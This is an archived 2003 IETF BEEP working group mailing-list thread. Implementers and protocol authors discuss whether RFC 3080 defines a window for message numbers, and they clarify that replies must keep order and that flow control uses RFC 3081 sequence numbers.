	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hello WG,

sorry for the duplicate - hit enter accidently...

I am implementing BEEP-based RFC 3195 (reliable syslog via BEEP). RFC
3195 uses MSG/RPY for message transfer. As I have seen and verified,
MSG/RPY is full-duplex that is there can be more than one MSG send
without an RPY.

This is a sample:

I: MSG 1
I: MSG 2
I: MSG 3
L: RPY 2
L: RPY 1
L: RPY 3

The sample is the exact sequence of what and when was send be initiator
(I:) and listener (L:). I see the value of having this ability,
especially in high-latency environments.

However, I did not see any window size mentioned for this. So it falls
back to a window of 2^32, which I think is a bit large.

Although this probably is not a big issue, I suggest that a window is
defined in the case RFC 3080 is revised some time.

If I am wrong with my comment, I would obviously like to get some
correction ;)

Many thanks,
Rainer




From huston@franklin.ro Mon Sep 15 09:02:56 2003
Received: from mail.franklin.ro (huston.dsl.xmission.com [166.70.14.133])
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id h8FG2tf4029910
	for <beepwg@lists.beepcore.org>; Mon, 15 Sep 2003 09:02:56 -0700 (PDT)
Received: (qmail 31355 invoked from network); 15 Sep 2003 17:02:31 -0000
Received: from unknown (HELO zizzing) (10.0.1.19)
  by bob.franklin.ro with SMTP; 15 Sep 2003 17:02:31 -0000
Message-ID: <013301c37ba2$ba3db330$0100a8c0@zizzing>
From: "Huston" <huston@franklin.ro>
To: "Rainer Gerhards" <rgerhards@hq.adiscon.com>, <beepwg@lists.beepcore.org>
References: <28915501A44DBA4587FE1019D675F983093CB1@grfint.intern.adiscon.com>
Subject: Re: [BEEPwg] RFC3080 MSG/RPY Window
Date: Mon, 15 Sep 2003 10:02:13 -0600
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Rainer,

The default window size for a channel on TCP is 4096. I believe this is
specified in RFC 3081.

One side note on your example, the RPY messages have to be sent in the same
order as the MSG messages. ANS messages are the only type that can be sent
interleaved/out of order.

--Huston

----- Original Message ----- 
From: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
To: <beepwg@lists.beepcore.org>
Sent: Monday, September 15, 2003 9:18 AM
Subject: [BEEPwg] RFC3080 MSG/RPY Window


> Hello WG,
>
> sorry for the duplicate - hit enter accidently...
>
> I am implementing BEEP-based RFC 3195 (reliable syslog via BEEP). RFC
> 3195 uses MSG/RPY for message transfer. As I have seen and verified,
> MSG/RPY is full-duplex that is there can be more than one MSG send
> without an RPY.
>
> This is a sample:
>
> I: MSG 1
> I: MSG 2
> I: MSG 3
> L: RPY 2
> L: RPY 1
> L: RPY 3
>
> The sample is the exact sequence of what and when was send be initiator
> (I:) and listener (L:). I see the value of having this ability,
> especially in high-latency environments.
>
> However, I did not see any window size mentioned for this. So it falls
> back to a window of 2^32, which I think is a bit large.
>
> Although this probably is not a big issue, I suggest that a window is
> defined in the case RFC 3080 is revised some time.
>
> If I am wrong with my comment, I would obviously like to get some
> correction ;)
>
> Many thanks,
> Rainer
>
>
>
> _______________________________________________
> BEEPwg mailing list
> BEEPwg@lists.beepcore.org
> http://lists.beepcore.org/mailman/listinfo/beepwg
>


From rgerhards@hq.adiscon.com Mon Sep 15 09:27:51 2003
Received: from grfext.intern.adiscon.com (grfext.intern.adiscon.com [217.6.190.187] (may be forged))
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id h8FGRof4000582
	for <beepwg@lists.beepcore.org>; Mon, 15 Sep 2003 09:27:51 -0700 (PDT)
Received: from 172.19.0.5 by grfext.intern.adiscon.com (InterScan E-Mail VirusWall NT); Mon, 15 Sep 2003 18:27:34 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: [BEEPwg] RFC3080 MSG/RPY Window
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
Date: Mon, 15 Sep 2003 18:27:32 +0200
Message-ID: <28915501A44DBA4587FE1019D675F98307C71C@grfint.intern.adiscon.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [BEEPwg] RFC3080 MSG/RPY Window
Thread-Index: AcN7otHUUVnHdxFuSPWmPQu7J1kk4gAABHTg
From: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
To: "Huston" <huston@franklin.ro>, <beepwg@lists.beepcore.org>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by qawoor.dbc.mtview.ca.us id h8FGRof4000582
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hi Huston,

thanks for getting back to me. I have to say that I initially read 3080
so that a MSG should be acknowledged immediately but some discussion on
the syslog-sec WG list now makes me think different. Its just two
messages, so you may want to have a quick look:

http://www.mail-archive.com/syslog-sec%40employees.org/msg01285.html
http://www.mail-archive.com/syslog-sec%40employees.org/msg01286.html

I am a bit persistent here because not doing/understanding it right can
not only cause interop issue but also security issues - doing it wrongly
will certainly increase the risk for DoS attacks.

> The default window size for a channel on TCP is 4096. I 
> believe this is
> specified in RFC 3081.

Actually, I am talking about a *different window*. RFC 3081 deals with
the (advancing) seqno, not with msgno. There is no direct realtionship
between these two (or I did not get this from the RFC). I think I can
advance the seqno Window be sending a 3081 SEQ even when there are
unacknowledged msgnos. In fact, I even need to do so when the message
filling up the window is fragmented or even LARGER than the current 3081
windows. So I  believe the 3081 window applies to seqno but not to
msgno.

If so, that means the two are independent. If not, it would mean that
the somewhat lower-level seqno would affect the msgno window, which
could result in at least some complexity...


> 
> One side note on your example, the RPY messages have to be 
> sent in the same
> order as the MSG messages. 

Well, that was my understanding. I posted a question on the syslog-sec
WG list (see above) and Darren New pointed out to me that this actually
*would* be a valid scenario. Actually, I don't find that this is
forbidden in 3080. For example, 3080 says in 2.2.1.1, page 11 (just an
excerpt):

####
   o  if the header starts with "MSG", and the message number refers to
      a "MSG" message that has been completely received but for which a
      reply has not been completely sent;

   o  if the header doesn't start with "MSG", and refers to a message
      number for which a reply has already been completely received;
####

Neither of this is the case in my sample. Also, this does not outrule
it:

####
   o  if the header starts with "MSG", "RPY", "ERR", or "ANS", and
      refers to a message number for which at least one other frame has
      been received, and the three-character keyword starting this frame
      and the immediately-previous received frame for this message
      number are not identical;
####

That would hit...

####
   o  if the value of the sequence number doesn't correspond to the
      expected value for the associated channel (c.f., Section 2.2.1.2);
      or,
####
... but it again it is talking on seqno, not on msgno.

So I don't find any evidence in 3080 that RPY messages must be received
in the same order as MSG messages.

I would very much appreciate if you could point me to the specifics or -
if they are not acutally in there - what the actual spirit of BEEP is.
So we can than solve the interop issue.

Once again my apologies for my persistence ;)

Rainer



From mrose@dbc.mtview.ca.us Mon Sep 15 09:41:34 2003
Received: from drakken.dbc.mtview.ca.us (dhcpd254.dbc.mtview.ca.us [64.168.10.254])
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with ESMTP id h8FGfYf4000683
	for <beepwg@lists.beepcore.org>; Mon, 15 Sep 2003 09:41:34 -0700 (PDT)
Received: from drakken.dbc.mtview.ca.us (localhost [127.0.0.1])
	by drakken.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id h8FGfVuJ000333;
	Mon, 15 Sep 2003 09:41:31 -0700 (PDT)
Date: Mon, 15 Sep 2003 09:41:31 -0700
From: Marshall Rose <mrose@dbc.mtview.ca.us>
To: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
Cc: "Huston" <huston@franklin.ro>, <beepwg@lists.beepcore.org>
Subject: Re: [BEEPwg] RFC3080 MSG/RPY Window
Message-Id: <20030915094131.59e0488b.mrose@dbc.mtview.ca.us>
In-Reply-To: <28915501A44DBA4587FE1019D675F98307C71C@grfint.intern.adiscon.com>
References: <28915501A44DBA4587FE1019D675F98307C71C@grfint.intern.adiscon.com>
Organization: Dover Beach Consulting, Inc.
X-Mailer: Sylpheed version 0.8.11claws (GTK+ 1.2.10; i386--netbsdelf)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

two things:
    
1. there is no relationship between msgno and seqno.
    
2. on a single channel, RPYs must come back in the same order that the
MSGs were received. look at the section called "Asynchrony" and "Within
a Single Channel".
    
/mtr


From dkramer@apple.com Mon Sep 15 09:51:09 2003
Received: from mail-out2.apple.com (mail-out2.apple.com [17.254.0.51])
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with ESMTP id h8FGp8f4000780
	for <beepwg@lists.beepcore.org>; Mon, 15 Sep 2003 09:51:08 -0700 (PDT)
Received: from mailgate1.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out2.apple.com (8.12.9/8.12.9) with ESMTP id h8FGp4iZ027397
	for <beepwg@lists.beepcore.org>; Mon, 15 Sep 2003 09:51:04 -0700 (PDT)
Received: from scv2.apple.com (scv2.apple.com) by mailgate1.apple.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T64b1116366118064e1394@mailgate1.apple.com>;
 Mon, 15 Sep 2003 09:50:36 -0700
Received: from [17.219.198.64] ([17.219.198.64])
	by scv2.apple.com (8.12.9/8.12.9) with ESMTP id h8FGorWI012176;
	Mon, 15 Sep 2003 09:50:53 -0700 (PDT)
In-Reply-To: <20030915094131.59e0488b.mrose@dbc.mtview.ca.us>
References: <28915501A44DBA4587FE1019D675F98307C71C@grfint.intern.adiscon.com> <20030915094131.59e0488b.mrose@dbc.mtview.ca.us>
Mime-Version: 1.0 (Apple Message framework v598)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <CA0D54A7-E79C-11D7-88CA-0003933EAD4E@apple.com>
Content-Transfer-Encoding: 7bit
Cc: beepwg@lists.beepcore.org
From: David Kramer <dkramer@apple.com>
Subject: Re: [BEEPwg] RFC3080 MSG/RPY Window
Date: Mon, 15 Sep 2003 09:51:02 -0700
To: Marshall Rose <mrose@dbc.mtview.ca.us>
X-Mailer: Apple Mail (2.598)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hello,

Out of curiosity, what is the purpose of the msgno?  Given that you 
MUST reply in the same order as messages are received, how does the 
msgno convey any useful information?  Does it exist only as a sanity 
check?

Thanks,
David

On Sep 15, 2003, at 9:41 AM, Marshall Rose wrote:

> two things:
>
> 1. there is no relationship between msgno and seqno.
>
> 2. on a single channel, RPYs must come back in the same order that the
> MSGs were received. look at the section called "Asynchrony" and "Within
> a Single Channel".
>
> /mtr
>
> _______________________________________________
> BEEPwg mailing list
> BEEPwg@lists.beepcore.org
> http://lists.beepcore.org/mailman/listinfo/beepwg


From rgerhards@hq.adiscon.com Mon Sep 15 09:51:34 2003
Received: from grfext.intern.adiscon.com (grfext.intern.adiscon.com [217.6.190.187] (may be forged))
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id h8FGpXf4000784
	for <beepwg@lists.beepcore.org>; Mon, 15 Sep 2003 09:51:34 -0700 (PDT)
Received: from 172.19.0.5 by grfext.intern.adiscon.com (InterScan E-Mail VirusWall NT); Mon, 15 Sep 2003 18:51:24 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: [BEEPwg] RFC3080 MSG/RPY Window
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
Date: Mon, 15 Sep 2003 18:51:23 +0200
Message-ID: <28915501A44DBA4587FE1019D675F98307C71D@grfint.intern.adiscon.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [BEEPwg] RFC3080 MSG/RPY Window
Thread-Index: AcN7qDoNVOzZq+mHRrGwsNLul58EUgAAKrYw
From: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
To: "Marshall Rose" <mrose@dbc.mtview.ca.us>
Cc: "Huston" <huston@franklin.ro>, <beepwg@lists.beepcore.org>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by qawoor.dbc.mtview.ca.us id h8FGpXf4000784
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> two things:
>     
> 1. there is no relationship between msgno and seqno.
>     
> 2. on a single channel, RPYs must come back in the same order that the
> MSGs were received. look at the section called "Asynchrony" 
> and "Within
> a Single Channel".


argghh... I overlooked this. Sure, this clarifies greatly. However, I
still do not get if there is a windowing mechanism for msgno. I assume
even if there is none, a client should be clever enough not to send
10,000 messages without any reply - but this is not explicitely
outruled. My apologies if I am again missing the obvious, but I will
make sure I understand things crystal-clear as in my experience only
this helps to avoid (at least some) later security and interop issues.

I appreciate your help very much!

Rainer


From mrose@dbc.mtview.ca.us Mon Sep 15 09:55:27 2003
Received: from drakken.dbc.mtview.ca.us (dhcpd254.dbc.mtview.ca.us [64.168.10.254])
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with ESMTP id h8FGtRf4000839
	for <beepwg@lists.beepcore.org>; Mon, 15 Sep 2003 09:55:27 -0700 (PDT)
Received: from drakken.dbc.mtview.ca.us (localhost [127.0.0.1])
	by drakken.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id h8FGtPuJ000691;
	Mon, 15 Sep 2003 09:55:25 -0700 (PDT)
Date: Mon, 15 Sep 2003 09:55:25 -0700
From: Marshall Rose <mrose@dbc.mtview.ca.us>
To: David Kramer <dkramer@apple.com>
Cc: beepwg@lists.beepcore.org
Subject: Re: [BEEPwg] RFC3080 MSG/RPY Window
Message-Id: <20030915095525.09f8516b.mrose@dbc.mtview.ca.us>
In-Reply-To: <CA0D54A7-E79C-11D7-88CA-0003933EAD4E@apple.com>
References: <28915501A44DBA4587FE1019D675F98307C71C@grfint.intern.adiscon.com>
	<20030915094131.59e0488b.mrose@dbc.mtview.ca.us>
	<CA0D54A7-E79C-11D7-88CA-0003933EAD4E@apple.com>
Organization: Dover Beach Consulting, Inc.
X-Mailer: Sylpheed version 0.8.11claws (GTK+ 1.2.10; i386--netbsdelf)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> Out of curiosity, what is the purpose of the msgno?  Given that you 
> MUST reply in the same order as messages are received, how does the 
> msgno convey any useful information?  Does it exist only as a sanity 
> check?

yes.

/mtr

From mrose@dbc.mtview.ca.us Mon Sep 15 09:59:31 2003
Received: from drakken.dbc.mtview.ca.us (dhcpd254.dbc.mtview.ca.us [64.168.10.254])
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with ESMTP id h8FGxVf4000892
	for <beepwg@lists.beepcore.org>; Mon, 15 Sep 2003 09:59:31 -0700 (PDT)
Received: from drakken.dbc.mtview.ca.us (localhost [127.0.0.1])
	by drakken.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id h8FGxTuJ000460;
	Mon, 15 Sep 2003 09:59:29 -0700 (PDT)
Date: Mon, 15 Sep 2003 09:59:29 -0700
From: Marshall Rose <mrose@dbc.mtview.ca.us>
To: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
Cc: "Huston" <huston@franklin.ro>, <beepwg@lists.beepcore.org>
Subject: Re: [BEEPwg] RFC3080 MSG/RPY Window
Message-Id: <20030915095929.34e8dfbf.mrose@dbc.mtview.ca.us>
In-Reply-To: <28915501A44DBA4587FE1019D675F98307C71D@grfint.intern.adiscon.com>
References: <28915501A44DBA4587FE1019D675F98307C71D@grfint.intern.adiscon.com>
Organization: Dover Beach Consulting, Inc.
X-Mailer: Sylpheed version 0.8.11claws (GTK+ 1.2.10; i386--netbsdelf)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> argghh... I overlooked this. Sure, this clarifies greatly. However, I
> still do not get if there is a windowing mechanism for msgno. I assume
> even if there is none, a client should be clever enough not to send
> 10,000 messages without any reply - but this is not explicitely
> outruled. My apologies if I am again missing the obvious, but I will
> make sure I understand things crystal-clear as in my experience only
> this helps to avoid (at least some) later security and interop issues.

never use "windowing" or "seqno" in the same sentence with "msgno".

the first two terms are used by beep in order to avoid starvation. the third
term is used by the application so it can correlate requests and responses.

there is nothing that explicitly prevents one side from sending lots of requests
and not waiting for replies. the same is true for applications that use tcp
directly. this assumes, of course,that there is infinite buffering in the layers
below and/or zero-latency end-to-end.

if you look at the way that syslog uses the ANS messages, that's exactly it's
strategy. however, there is this little issue of getting end-to-end
acknowledgements back to the application-layer...

/mtr

From ghudson@MIT.EDU Mon Sep 15 22:06:25 2003
Received: from pacific-carrier-annex.mit.edu (PACIFIC-CARRIER-ANNEX.MIT.EDU [18.7.21.83])
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with ESMTP id h8G56Of4005393
	for <beepwg@lists.beepcore.org>; Mon, 15 Sep 2003 22:06:25 -0700 (PDT)
Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82])
	by pacific-carrier-annex.mit.edu (8.12.4/8.9.2) with ESMTP id h8G56KHs004114;
	Tue, 16 Sep 2003 01:06:20 -0400 (EDT)
Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86])
	by grand-central-station.mit.edu (8.12.4/8.9.2) with ESMTP id h8G56HD2011903;
	Tue, 16 Sep 2003 01:06:17 -0400 (EDT)
Received: from error-messages.mit.edu (ERROR-MESSAGES.MIT.EDU [18.101.0.169])
	)
	by melbourne-city-street.mit.edu (8.12.4/8.12.4) with ESMTP id h8G56HGr022671;
	Tue, 16 Sep 2003 01:06:17 -0400 (EDT)
Received: (from ghudson@localhost) by error-messages.mit.edu (8.12.9)
	id h8G56ECs027939; Tue, 16 Sep 2003 01:06:14 -0400
Subject: Re: [BEEPwg] RFC3080 MSG/RPY Window
From: Greg Hudson <ghudson@MIT.EDU>
To: David Kramer <dkramer@apple.com>
Cc: beepwg@lists.beepcore.org
In-Reply-To: <CA0D54A7-E79C-11D7-88CA-0003933EAD4E@apple.com>
References: 
	 <28915501A44DBA4587FE1019D675F98307C71C@grfint.intern.adiscon.com>
	 <20030915094131.59e0488b.mrose@dbc.mtview.ca.us>
	 <CA0D54A7-E79C-11D7-88CA-0003933EAD4E@apple.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Message-Id: <1063688774.27164.43.camel@error-messages.mit.edu>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.4 
Date: Tue, 16 Sep 2003 01:06:14 -0400
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

On Mon, 2003-09-15 at 12:51, David Kramer wrote:
> Out of curiosity, what is the purpose of the msgno?  Given that you 
> MUST reply in the same order as messages are received, how does the 
> msgno convey any useful information?  Does it exist only as a sanity 
> check?

As a historical note, I argued against msgno during the standardization
phase, but I lost.  So, you're not the only one who finds it a bit
confusing. :)

(Although, it does leave the door open for a BEEP extention where you
could negotiate for an asynchronous channel, which would relax the
requirement that messages are replied to in the same order as they are
received.  That might be a better match for some protocols.)


From rgerhards@hq.adiscon.com Tue Sep 16 02:04:40 2003
Received: from grfext.intern.adiscon.com (grfext.intern.adiscon.com [217.6.190.187] (may be forged))
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id h8G94Xf4006721
	for <beepwg@lists.beepcore.org>; Tue, 16 Sep 2003 02:04:38 -0700 (PDT)
Received: from 172.19.0.5 by grfext.intern.adiscon.com (InterScan E-Mail VirusWall NT); Tue, 16 Sep 2003 11:02:09 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: [BEEPwg] RFC3080 MSG/RPY Window
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
Date: Tue, 16 Sep 2003 11:02:08 +0200
Message-ID: <28915501A44DBA4587FE1019D675F98307C71F@grfint.intern.adiscon.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [BEEPwg] RFC3080 MSG/RPY Window
Thread-Index: AcN7qry2irBYlbKMQsmyTDzebyESsgAhHCwQ
From: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
To: <beepwg@lists.beepcore.org>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by qawoor.dbc.mtview.ca.us id h8G94Xf4006721
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Thanks to all for helping me understand and your patience. I think I
finally understood. I am just summing it up in this mail so that it can
a) proove if I really understood ;) and b) (if I did) serve as a
reference for others with the same question.

There are two advancing "message ids" in BEEP. One is the seqno, the
other is the msgno. 

Msgno is used at the application layer to correlate requests and
responses. A peer may issue many MSGs without necessarily receiving
RPYs, but the remote peer MUST send RPYs in the same sequence that it
received MSGs for. This is detailled under  "Asynchrony" in RFC3080,
2.6. 

Msgno is NOT intended to be used for flow control. Hence, there is no
and must no window be defined for it.

In contrast, seqno is the one used for actual flow control. Windowing is
defined in RFC3081 and carried out via SEQ frames.

So if I implement a BEEP-based server AND I need to limit the amount of
data that an application sends to me, I do not do this via MSG/RPY but
via SEQ only. So it is vital that a robust server design includes some
type of communication of the upper app layers with the lower 3081 layers
so that the later will receive feedback from the upper layers when it is
time to stop sending SEQs. The good thing about this is that flow
control follows a single paradigm, no matter if MSG/RPY or MSG/ANS
semantics are used.

I hope this understanding is right now. I will implement it this way.
Thanks again for your patience. You saved the world at least one partial
incompliant implementation ;)

Rainer


From california10@gmx.de Mon Oct 20 03:22:57 2003
Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with SMTP id h9KAMtsw003173
	for <beepwg@lists.beepcore.org>; Mon, 20 Oct 2003 03:22:56 -0700 (PDT)
Received: (qmail 23487 invoked by uid 0); 20 Oct 2003 10:22:50 -0000
Received: from 212.117.81.34 by www4.gmx.net with HTTP;
	Mon, 20 Oct 2003 12:22:50 +0200 (MEST)
Date: Mon, 20 Oct 2003 12:22:50 +0200 (MEST)
From: "Ingo Funken" <california10@gmx.de>
To: beepwg@lists.beepcore.org
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-Authenticated: #19191783
Message-ID: <3720.1066645370@www4.gmx.net>
X-Mailer: WWW-Mail 1.6 (Global Message Exchange)
X-Flags: 0001
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Subject: [BEEPwg] About the two states in the BEEP Profile for SOAP
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hello BEEP-WG,
my question is about the boot and ready state in rfc 3288. Do these states
concern only the session? Or do these states exist for every 
channel we create?

Many thanks,
Ufuk

-- 
NEU FÜR ALLE - GMX MediaCenter - für Fotos, Musik, Dateien...
Fotoalbum, File Sharing, MMS, Multimedia-Gruß, GMX FotoService

